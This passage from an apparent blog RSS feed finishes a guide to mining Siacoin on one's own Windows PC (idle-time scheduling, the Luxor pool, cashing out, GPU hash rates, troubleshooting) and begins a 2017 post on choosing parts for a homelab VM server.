&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2017/11/08 11:59:21 [0] Accepted f1eede1e D: 46G/17G 966.2 MH/s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Close the window to stop mining.&lt;/p>
&lt;p>If you configured your Siacoin wallet address correctly in Marlin&amp;rsquo;s settings, you will see your mining activity in the Luxor dashboard:&lt;/p>
&lt;ul>
&lt;li>&lt;code>https://sia.luxor.tech/miners/your siacoin address&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ll go into more details about the Luxor mining pool &lt;a href="#using-the-mining-pool">below&lt;/a>.&lt;/p>
&lt;p>You&amp;rsquo;ll notice that your system responds sluggishly while you&amp;rsquo;re running the miner. This is because mining consumes all available graphics resources, which makes it difficult for you to use your computer normally. Don&amp;rsquo;t worry. We&amp;rsquo;ll address this in the next section.&lt;/p>
&lt;h2 id="configure-miner-to-run-automatically">Configure miner to run automatically&lt;/h2>
&lt;p>You&amp;rsquo;re all set up and generating Siacoin, but there&amp;rsquo;s a problem: mining monopolizes your graphics processor and makes it difficult for you to do anything else on your computer.&lt;/p>
&lt;p>You could start the miner when you leave your computer and turn it off when you return, but that&amp;rsquo;s a pain.&lt;/p>
&lt;p>Instead, you can use a handy feature built in to Windows called Task Scheduler. It allows you to configure Siacoin mining like a screensaver - it runs when you&amp;rsquo;re away and automatically shuts off when you return.&lt;/p>
&lt;p>Configuring a scheduled task is a bit tedious. To save you the trouble, I&amp;rsquo;ve created a task configuration file you can import into Task Scheduler through the steps below:&lt;/p>
&lt;ol>
&lt;li>Download my Sia Mining Task configuration file: &lt;a href="SiaMiningTask.xml">SiaMiningTask.xml&lt;/a> (right-click and hit &amp;ldquo;Save link as&amp;hellip;&amp;rdquo;).&lt;/li>
&lt;li>Hit Win+R to open the Windows run dialog.&lt;/li>
&lt;li>Type &lt;code>control schedtasks&lt;/code> and hit Enter.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 399px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/run-schedtasks.png">
 &lt;img
 
 sizes="(min-width: 768px) 399px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/run-schedtasks_hu_1314ec430510c428.png 300w, https://mtlynch.io/windows-sia-mining/run-schedtasks.png 399w'
 src="https://mtlynch.io/windows-sia-mining/run-schedtasks.png" alt="Run Task Scheduler" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Task Scheduler will appear. From the right hand menu, click &amp;ldquo;Import Task&amp;hellip;&amp;rdquo;&lt;/li>
&lt;li>Specify the &lt;code>SiaMiningTask.xml&lt;/code> file you downloaded in step 1.&lt;/li>
&lt;/ol>
&lt;p>This will create a pre-populated task for you with the correct settings for your Siacoin miner. Click &amp;ldquo;OK&amp;rdquo; to finish creating the task.&lt;/p>
&lt;p>With this task created, your PC will mine Siacoin automatically any time you leave the mouse and keyboard untouched for ten minutes. As soon as you touch the mouse or keyboard, mining stops so as not to interfere with your normal usage.&lt;/p>
&lt;h2 id="using-the-mining-pool">Using the mining pool&lt;/h2>
&lt;p>Mining is a game of chance. Your machine is doing repeated calculations with random numbers hoping to discover a solution to an equation that the Siacoin network needs at the given moment. The computer that finds a solution receives a miner&amp;rsquo;s reward. The reward is currently &lt;del>200,000 Siacoin (&lt;/del>$1,300 USD). A solution is found roughly once every ten minutes, but due to the number of miners active, it is possible for your miner to go months without getting lucky and stumbling on a solution.&lt;/p>
&lt;p>This guide configures your miner to participate in the Luxor mining &lt;em>pool&lt;/em> to give you a more regular and predictable mining income stream. With a mining pool, all participants implicitly agree to share effort and share rewards proportionally. The Luxor mining pool takes a 0.3% fee for administering this system. This fee is unusually low for a mining pool and will likely increase to 2-3% by next 2018.&lt;/p>
&lt;p>The Luxor mining pool provides a dashboard that allows you to monitor your miner&amp;rsquo;s activity:&lt;/p>
&lt;ul>
&lt;li>&lt;code>https://sia.luxor.tech/miners/your siacoin address&lt;/code>&lt;/li>
&lt;/ul>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1171px">



 &lt;a href="https://mtlynch.io/windows-sia-mining/luxor-mining-pool.png">
 &lt;img
 
 sizes="(min-width: 768px) 1171px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/luxor-mining-pool_hu_ee8cf8ed6e501204.png 300w, https://mtlynch.io/windows-sia-mining/luxor-mining-pool_hu_9464e66d4d8d6a71.png 600w, https://mtlynch.io/windows-sia-mining/luxor-mining-pool_hu_50532a8f2effd03e.png 800w, https://mtlynch.io/windows-sia-mining/luxor-mining-pool.png 1171w'
 src="https://mtlynch.io/windows-sia-mining/luxor-mining-pool.png" alt="Luxor screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>When the unpaid balance for your wallet address reaches 500 Siacoin, the pool pays out your rewards. Within six hours, you will see a deposit in your wallet for a little over 500 Siacoin.&lt;/p>
&lt;p>My particular GPU reaches the payout threshold about once every two weeks (as of November 2017). Your experience will vary depending on the performance of your GPU, the percentage of time your miner is running, and the number of other active Siacoin miners.&lt;/p>
&lt;h2 id="cashing-out-your-siacoin">Cashing out your Siacoin&lt;/h2>
&lt;p>Now that you&amp;rsquo;ve accumulated some Siacoin, you probably want a way of spending them.&lt;/p>
&lt;p>There are cryptocurrency exchanges that allow you to sell Siacoin, but they don&amp;rsquo;t support converting Siacoin directly to fiat (e.g. dollars, Euros). You need to convert your Siacoin in two stages:&lt;/p>
&lt;ol>
&lt;li>Convert Siacoin to Bitcoin.&lt;/li>
&lt;li>Convert Bitcoin to fiat currency.&lt;/li>
&lt;/ol>
&lt;h3 id="converting-siacoin-to-bitcoin">Converting Siacoin to Bitcoin&lt;/h3>
&lt;p>There are a few options for converting your Siacoin to Bitcoin:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://bittrex.com">Bittrex&lt;/a>: (&lt;em>recommended&lt;/em>) Bittrex has historically provided the most solid support for Siacoin.&lt;/li>
&lt;li>&lt;a href="https://shapeshift.io">ShapeShift&lt;/a>: ShapeShift is simple and fast because there&amp;rsquo;s no signup required. Just give them your Bitcoin address, and they&amp;rsquo;ll give you a Siacoin deposit address. Unfortunately, their support for Siacoin is rather erratic and they only offer Siacoin exchanges intermittently.&lt;/li>
&lt;li>&lt;a href="https://bisq.io">Bisq&lt;/a>: (&lt;em>for advanced users&lt;/em>) Bisq (formerly BitSquare) is a decentralized, peer-to-peer exchange. Trading is slower and involves more steps, but can give you better rates than traditional exchanges. Bisq also supports converting Siacoin directly to fiat, but you&amp;rsquo;re relying on another person not to rip you off. If you choose this option, take steps protect yourself from fraud.&lt;/li>
&lt;li>&lt;del>Poloniex&lt;/del>: Poloniex was once the leading exchange for Siacoin, but their support and platform has been awful for most of 2017, frequently freezing users&amp;rsquo; funds for weeks without any communication. I recommend avoiding Poloniex if you have any other exchange option.&lt;/li>
&lt;/ul>
&lt;h3 id="converting-bitcoin-to-fiat-currency-regular-money">Converting Bitcoin to fiat currency (regular money)&lt;/h3>
&lt;p>Bitcoin has been around longer and the ecosystem is much more mature, so you have several options for cashing out your Bitcoins. Bitcoin exchanges are beyond the scope of this post, but here are a few places to start.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gemini.com/">Gemini&lt;/a>: Caters to US customers.&lt;/li>
&lt;li>&lt;a href="https://www.bitstamp.net">BitStamp&lt;/a>: Caters to European customers.&lt;/li>
&lt;li>&lt;a href="https://localbitcoins.com/">LocalBitcoins&lt;/a>: A private, peer-to-peer Bitcoin exchange.&lt;/li>
&lt;/ul>
&lt;p>A &lt;a href="https://bitcoin.org/en/exchanges">more comprehensive list&lt;/a> is available at bitcoin.org.&lt;/p>
&lt;h2 id="siacoin-mining-hardware">Siacoin mining hardware&lt;/h2>
&lt;p>The tables below show estimated mining performance of different GPUs. These numbers are based on anonymous, self-reported data from a mix of systems, aggregated from Sia mining wikis. Don&amp;rsquo;t expect 100% accuracy, but they should give you a rough idea of how different systems perform.&lt;/p>
&lt;p>The performance metric is a function of how many million mining calculations the chip can do per second (measured in megahashes per second or MH/s). The rate that a GPU generates mining income is directly proportional to its MH/s. In other words, all things being equal, a 2,000 MH/s GPU will generate twice as much income as a 1,000 MH/s GPU.&lt;/p>
&lt;p>For each GPU chip, I&amp;rsquo;ve provided an example GPU product that contains that chip, but the same GPU chip is generally available from a variety of manufacturers.&lt;/p>
&lt;h3 id="nvidia-gpus">NVIDIA GPUs&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>GPU&lt;/th>
 &lt;th>Performance (MH/s)&lt;/th>
 &lt;th>Example&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>GTX 660&lt;/td>
 &lt;td>300&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/EVGA-GeForce-SUPERCLOCKED-Graphics-02G-P4-2662-KR/dp/B00966IREK/">EVGA GeForce GTX 660&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX 670&lt;/td>
 &lt;td>400&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/ASUS-GeForce-GTX-670-DC2-2GD5-GTX670-DC2-2GD5/dp/B0081IFO2C/">ASUS GeForce GTX 670&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX 970&lt;/td>
 &lt;td>895&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/EVGA-GeForce-Quieter-Graphics-04G-P4-2974-KR/dp/B00NVODXR4/">EVGA GeForce GTX 970&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX 980&lt;/td>
 &lt;td>1,290&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/gigabyte-geforce-gtx-980-gv-n980wf3oc-4gd/p/N82E16814125696">GIGABYTE GeForce GTX 980&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX Titan X&lt;/td>
 &lt;td>1,300&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/EVGA-GeForce-GAMING-Graphics-12G-P4-2992-KR/dp/B00UXTN5P0/">EVGA GeForce GTX TITAN X&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX 980 Ti&lt;/td>
 &lt;td>1,540&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/GIGABYTE-GeForce-GTX-980Ti-GAMING/dp/B00ZJP9DMC/">GIGABYTE GeForce GTX 980Ti&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX 980 Ti Hybrid&lt;/td>
 &lt;td>1,725&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/EVGA-GeForce-Whisper-Graphics-06G-P4-4991-KR/dp/B00YDAYOF0/">EVGA GeForce GTX 980 Ti&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>GTX 1080 FE&lt;/td>
 &lt;td>2,190&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/EVGA-GeForce-FOUNDERS-Support-11G-P4-6390-KR/dp/B06XH2P8DD/">EVGA GeForce GTX 1080 Founders Edition&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="amd-gpus">AMD GPUs&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>GPU&lt;/th>
 &lt;th>Performance (MH/s)&lt;/th>
 &lt;th>Example&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>R9 270X&lt;/td>
 &lt;td>635&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Gigabyte-GDDR5-2GB-2xDVI-Graphics-GV-R927XOC-2GD/dp/B00FONITCE/">Gigabyte R9 270X&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 380&lt;/td>
 &lt;td>750&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Radeon-Overclocked-256-bit-DisplayPort-Graphics/dp/B00ZQ3QVS6/">ASUS STRIX Radeon R9 380&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>HD 7970&lt;/td>
 &lt;td>790&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Sapphire-DL-DVI-I-SL-DVI-D-PCI-Express-11197-03-40G/dp/B009B6Y01Y/">Sapphire Radeon HD 7970&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 290&lt;/td>
 &lt;td>1,050&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Sapphire-Radeon-PCI-Express-Graphics-21227-00-40G/dp/B00FLMKQYW/">Sapphire Radeon R9 290&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 290X&lt;/td>
 &lt;td>1,200&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Sapphire-Radeon-PCI-Express-Graphics-21226-00-40G/dp/B00FLMKQY2/">Sapphire Radeon R9 290X&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 390x&lt;/td>
 &lt;td>1,200&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Sapphire-Radeon-Backplate-Graphics-11241-04-20G/dp/B0196LP8M8/">Sapphire Radeon NITRO R9 390X&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 Nano&lt;/td>
 &lt;td>1,600&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/XFX-4096-Bit-Express-CrossFireX-R9-NANO-4SF6/dp/B015121DMA/">XFX Radeon R9 Nano&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 Fury X&lt;/td>
 &lt;td>1,800&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/XFX-R9-FURY-4QFA-RADEON-FURY-3xDP/dp/B0106IJXX0/">XFX RADEON R9 FURY X&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>R9 295x2&lt;/td>
 &lt;td>2,250&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/Sapphire-Radeon-PCI-Express-Graphics-21234-00-40G/dp/B00JS8JRHW/">Sapphire Radeon R9 295X2&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I do &lt;strong>not&lt;/strong> recommend buying a GPU for the express purpose of mining Siacoin. Your profits are determined by Siacoin&amp;rsquo;s market price and the number of other active miners on the network. These variables can change drastically at any time.&lt;/p>
&lt;p>If you&amp;rsquo;re buying a new GPU anyway, and you&amp;rsquo;re interested in Siacoin mining performance as a factor in your decision, the tables above can help you decide.&lt;/p>
&lt;h2 id="caveats">Caveats&lt;/h2>
&lt;p>Here are a few things to keep in mind as you begin Siacoin mining:&lt;/p>
&lt;ul>
&lt;li>Heat: Siacoin mining adds considerable stress to your GPU and may reduce its lifetime. Monitor your GPU&amp;rsquo;s heat to make sure mining is not heating it to the point of damaging to your system.&lt;/li>
&lt;li>Taxes: Many jurisdictions consider cryptocurrency mining profits to be taxable income. If you convert to fiat through an exchange such as Coinbase or Gemini, they are legally required to share your financial information with tax authorities if requested.&lt;/li>
&lt;li>Electricity costs: Your GPU consumes more electricity when it is mining Siacoin than when it is doing less intensive tasks such as browsing Facebook. Be sure to take the cost of electricity into account when considering your mining profit.&lt;/li>
&lt;/ul>
&lt;h2 id="earning-siacoin-by-hosting">Earning Siacoin by hosting&lt;/h2>
&lt;p>Another way of earning Siacoin is by renting out your unused hard disk space. The Siacoin hosting economy hasn&amp;rsquo;t reached critical mass yet, and hosting is suited for more advanced users, but if you&amp;rsquo;re interested, I wrote a &lt;a href="https://mtlynch.io/sia-via-docker/">Guide to Hosting Sia on a Synology NAS&lt;/a>.&lt;/p>
&lt;h2 id="troubleshooting">Troubleshooting&lt;/h2>
&lt;p>Having trouble getting up and running? Here are some common issues readers have run into and how to fix them.&lt;/p>
&lt;h3 id="miner-crashes-immediately">Miner crashes immediately&lt;/h3>
&lt;p>&lt;strong>Symptoms&lt;/strong>: When you run &lt;code>marlin.bat&lt;/code> a command window pops up and immediately closes.&lt;/p>
&lt;p>This usually happens because the mining settings are too intense for your GPU. To fix this, follow the steps below&lt;/p>
&lt;ol>
&lt;li>Open Notepad&lt;/li>
&lt;li>Go to File &amp;gt; Open and enter &lt;code>C:\marlin\marlin.bat&lt;/code>&lt;/li>
&lt;li>Change the &lt;code>intensity&lt;/code> value to &lt;code>1&lt;/code>.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 815px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/lower-intensity.png">
 &lt;img
 
 sizes="(min-width: 768px) 815px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/lower-intensity_hu_c2874e59607a11b4.png 300w, https://mtlynch.io/windows-sia-mining/lower-intensity_hu_db4da7e7698205e8.png 600w, https://mtlynch.io/windows-sia-mining/lower-intensity_hu_3c7225be6ce1f6e1.png 800w, https://mtlynch.io/windows-sia-mining/lower-intensity.png 815w'
 src="https://mtlynch.io/windows-sia-mining/lower-intensity.png" alt="Marlin batch file" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Go to File &amp;gt; Save and close Notepad.&lt;/li>
&lt;li>Try running &lt;code>marlin.bat&lt;/code> again.&lt;/li>
&lt;/ol>
&lt;p>If it succeeds, repeat these steps with increasing intensity until you find the highest intensity that is still stable.&lt;/p>
&lt;p>If it fails after you&amp;rsquo;ve lowered the intensity, try the following:&lt;/p>
&lt;ol>
&lt;li>Hit Win+R to open the Windows run dialog.&lt;/li>
&lt;li>Type &lt;code>cmd&lt;/code> and hit Enter.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 399px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/cmd.png">
 &lt;img
 
 sizes="(min-width: 768px) 399px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/cmd_hu_8988cf3e1faf55a6.png 300w, https://mtlynch.io/windows-sia-mining/cmd.png 399w'
 src="https://mtlynch.io/windows-sia-mining/cmd.png" alt="Run cmd" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>In the Command Prompt, type the following:
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>cd C:\marlin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>marlin.bat
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;/ol>
&lt;p>This won&amp;rsquo;t fix the issue, but the window will stay open so that you can see the error message Marlin is producing before it crashes.&lt;/p>
&lt;h3 id="miner-shows-0-mhs">Miner shows 0 MH/s&lt;/h3>
&lt;p>&lt;strong>Symptoms&lt;/strong>: The Marlin miner runs, but shows a hash rate of 0 MH/s.&lt;/p>
&lt;p>This can happen if the mining settings are too intense for your GPU. To fix this, follow the same steps for &lt;a href="#miner-crashes-immediately">Miner crashes immediately&lt;/a>.&lt;/p></content:encoded></item><item><title>Building a Homelab VM Server</title><link>https://mtlynch.io/building-a-vm-homelab-2017/</link><pubDate>Sun, 07 May 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/building-a-vm-homelab-2017/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>Note&lt;/strong>: This article describes a VM build in 2017.&lt;/p>
&lt;p>For the 2020 version, see, &lt;a href="https://mtlynch.io/building-a-vm-homelab">&amp;ldquo;Building a Homelab VM Server (2020 Edition).&amp;rdquo;&lt;/a>&lt;/p>

&lt;/div>

&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>I do the bulk of my home development work in virtual machines (VMs). My main desktop PC is a Windows 10 machine, so I had always run my VMs from within VirtualBox.&lt;/p>
&lt;p>This setup worked fine, but I was starting to become aware of the increasing pain points. I searched and found &lt;a href="https://blog.brianmoses.net/2016/07/building-a-homelab-server.html">a post&lt;/a> by Brian Moses where he describes building a dedicated &amp;ldquo;homelab&amp;rdquo; server for running VMs. I really liked this idea and was inspired to do the same.&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>Note&lt;/strong>: This article describes a VM build in 2017.&lt;/p>
&lt;p>For the 2020 version, see, &lt;a href="https://mtlynch.io/building-a-vm-homelab">&amp;ldquo;Building a Homelab VM Server (2020 Edition).&amp;rdquo;&lt;/a>&lt;/p>

&lt;/div>

&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>I do the bulk of my home development work in virtual machines (VMs). My main desktop PC is a Windows 10 machine, so I had always run my VMs from within VirtualBox.&lt;/p>
&lt;p>This setup worked fine, but I was starting to become aware of the increasing pain points. I searched and found &lt;a href="https://blog.brianmoses.net/2016/07/building-a-homelab-server.html">a post&lt;/a> by Brian Moses where he describes building a dedicated &amp;ldquo;homelab&amp;rdquo; server for running VMs. I really liked this idea and was inspired to do the same.&lt;/p>
&lt;h2 id="why-vms">Why VMs?&lt;/h2>
&lt;h3 id="clean-environments">Clean environments&lt;/h3>
&lt;p>All the software I write depends on a particular software environment. For example, development on my project &lt;a href="https://mtlynch.io/prosperbot/">ProsperBot&lt;/a> depends on the Go toolchain, nginx, and Redis. If I keep installing dependencies for each of my projects all on my main desktop PC, it becomes a mess of different web servers, database servers, and competing versions of the same libraries.&lt;/p>
&lt;h3 id="security-vm-isolation">Security: VM isolation&lt;/h3>
&lt;p>VMs also provide security by keeping software isolated from my main system. I like to experiment with new tools and apps, but it&amp;rsquo;s always possible that an app could be malicious (maybe the developer made a malicious app, maybe it&amp;rsquo;s a legitimate app but an attacker compromised it to spread malware). If I install an app directly to my Windows machine and it infects it with malware, it&amp;rsquo;s game over. Very basic malware running on my machine could record everything on my screen, control my Gmail, Facebook, GitHub, or hold all my files &lt;a href="https://en.wikipedia.org/wiki/Ransomware">for ransom&lt;/a>.&lt;/p>
&lt;p>Malware running in a VM is much more limited in the damage it can cause. If I install software in a VM and it covertly installs a keylogger, it can only record my keystrokes in that VM, not my main desktop machine. VMs are not a complete defense, as advanced malware could &lt;a href="https://arstechnica.com/security/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/">escape the VM&lt;/a>, but they still provide a large degree of protection.&lt;/p>
&lt;h2 id="why-a-whole-vm-server">Why a whole VM server?&lt;/h2>
&lt;p>I&amp;rsquo;ve been running virtual machines within my main Windows desktop with VirtualBox, there a few issues:&lt;/p>
&lt;ul>
&lt;li>When I restart my main PC, I also have to laboriously shut down or suspend every VM I&amp;rsquo;m running, then start each up again after the reboot.&lt;/li>
&lt;li>My main PC crashes about once a month and VirtualBox is really bad at recovering from crashes. On reboot, thinks that the VM image files are locked and I have to futz around with the filesystem to fix it.&lt;/li>
&lt;/ul>
&lt;p>With a dedicated VM server, I can run a barebones Linux server OS on it. The less software running on a machine, the less frequently it requires reboots and the less likely it is to crash.&lt;/p>
&lt;p>There are also some peer-to-peer projects I think are neat (e.g. &lt;a href="https://openbazaar.org">OpenBazaar&lt;/a>, &lt;a href="https://bitsquare.io/">BitSquare&lt;/a>), but they require running a server all the time. I&amp;rsquo;ve tried doing this through VirtualBox, but the hassles I mention above tend to make me lose interest in keeping these VMs running. If I could just spin up a VM once and leave it running, experimenting with these projects becomes a lot more attractive.&lt;/p>
&lt;h2 id="choosing-the-parts">Choosing the parts&lt;/h2>
&lt;h3 id="cpu">CPU&lt;/h3>













 








 
 
 







&lt;div class="img align-right" style="max-width: 390px">



 &lt;a href="https://smile.amazon.com/dp/B06WP5YCX6/">
 &lt;img
 
 sizes="(min-width: 768px) 390px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/amd-ryzen_hu_87042e05b1baea22.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/amd-ryzen.jpg 390w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/amd-ryzen.jpg" alt="AMD Ryzen 7 1700" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>In Brian&amp;rsquo;s blog post, he was excited to take advantage of the &lt;a href="http://www.techspot.com/review/1155-affordable-dual-xeon-pc/">low price of used Intel Xeon CPUs&lt;/a>. This was a neat idea, but I was afraid of the risk of hardware failure from used server hardware, so I preferred a new, retail CPU.&lt;/p>
&lt;p>I overclock the CPU on my main PC, but this also leads to occasional crashes. Because I want to keep my VM server as stable as possible, I decided not to overclock this system. The happy consequence of this is that choosing parts easier and less expensive because I don&amp;rsquo;t need to pay a premium for an unlocked CPU, a motherboard that supports overclocking, or a premium CPU cooler.&lt;/p>
&lt;p>I ended up going with the &lt;a href="https://smile.amazon.com/dp/B06WP5YCX6/">AMD Ryzen 7 1700&lt;/a>. It&amp;rsquo;s 8 cores, 16 threads, so it should be a good fit for running many VMs and it has been getting a lot of good reviews lately.&lt;/p>
&lt;h3 id="motherboard">Motherboard&lt;/h3>













 















&lt;div class="img align-left" style="max-width: 250px">



 &lt;a href="https://smile.amazon.com/ASRock-AB350M-HDV-Socket-MicroATX-Motherboard/dp/B06WWC7BTJ/">
 &lt;img
 
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/motherboard.png 250w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/motherboard.png" alt="ASRock AB350M-HDV" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I live in a pretty small 1 BR apartment in Manhattan, so physical space is at a premium. My requirements also obviated a lot of components that typically requires a lot of physical space in a PC, such as disk drives, GPUs, or premium CPU fans.&lt;/p>
&lt;p>These requirements led me towards MicroATX motherboards and I ultimately chose the &lt;a href="https://smile.amazon.com/ASRock-AB350M-HDV-Socket-MicroATX-Motherboard/dp/B06WWC7BTJ/">ASRock AB350M-HDV&lt;/a>. I&amp;rsquo;ve had good success with ASRock boards in the past and this seemed to be a solid option. I was hesitant about its memory support, as it only has two RAM slots, which means I could install 2x16 GB sticks with no room for expansion. I figured if I ever run out of RAM, 2x32 GB sticks would probably be available by then and I&amp;rsquo;ll just bite the bullet and replace both sticks.&lt;/p>
&lt;p>In retrospect, I wish I&amp;rsquo;d gotten a motherboard with integrated graphics (see the &lt;a href="#review-motherboard">parts review&lt;/a> below).&lt;/p>
&lt;h3 id="memory">Memory&lt;/h3>













 















&lt;div class="img align-right" style="max-width: 250px">



 &lt;a href="https://smile.amazon.com/G-SKILL-Flare-288-Pin-Memory-F4-3200C14D-16GFX/dp/B06XFT7DF9/">
 &lt;img
 
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/gskill-ram.png 250w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/gskill-ram.png" alt="G.SKILL Flare X Series 32GB" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>My main PC has 32 GB of RAM and tends to use around 15 GB during daily usage (even with Windows 10 and multiple VMs running). I figured I could probably get by with 16 GB, but 32 GB will probably be a safe upper limit for the next 2-3 years. I chose the &lt;a href="https://smile.amazon.com/G-SKILL-Flare-288-Pin-Memory-F4-3200C14D-16GFX/dp/B06XFT7DF9/">G.SKILL Flare X Series 32GB (2 x 16GB)&lt;/a> because these were the fastest RAM sticks tested compatible with my motherboard.&lt;/p>
&lt;h3 id="disk">Disk&lt;/h3>













 








 
 
 

 
 
 






&lt;div class="img align-left" style="max-width: 590px">



 &lt;a href="https://smile.amazon.com/gp/product/B00TGIVZTW/">
 &lt;img
 
 sizes="(min-width: 768px) 590px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/samsung-850-evo_hu_8098a9f96d4c9ff5.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/samsung-850-evo_hu_c2afc6be80fa3c66.jpg 600w, https://mtlynch.io/building-a-vm-homelab-2017/samsung-850-evo.jpg 679w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/samsung-850-evo.jpg" alt="Samsung 850 EVO" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Like Brian, &lt;a href="https://mtlynch.io/sia-via-docker/">I have a NAS&lt;/a> with plenty of space available, so all I needed as far as local storage was a small disk to hold the host / hypervisor OS. I went with a 250 GB &lt;a href="https://smile.amazon.com/gp/product/B00TGIVZTW/">Samsung 850 EVO&lt;/a> mainly because I find the M.2 interface very clean. It&amp;rsquo;s just a chip you screw into your motherboard and you&amp;rsquo;re done. No need to deal with mounts or SATA cables. 250 GB is way more than I need, but for an M.2 SSD, that seems to be about the entry level.&lt;/p>
&lt;h3 id="case">Case&lt;/h3>













 








 
 
 

 
 
 






&lt;div class="img align-right" style="max-width: 180px">



 &lt;a href="https://smile.amazon.com/ROSEWILL-Micro-Computer-plastic-computer/dp/B00ZPWOA6I/">
 &lt;img
 
 sizes="(min-width: 768px) 180px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/micro-atx_hu_c019788e762daa7d.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/micro-atx_hu_7f0a879b6f976a03.jpg 600w, https://mtlynch.io/building-a-vm-homelab-2017/micro-atx.jpg 679w'
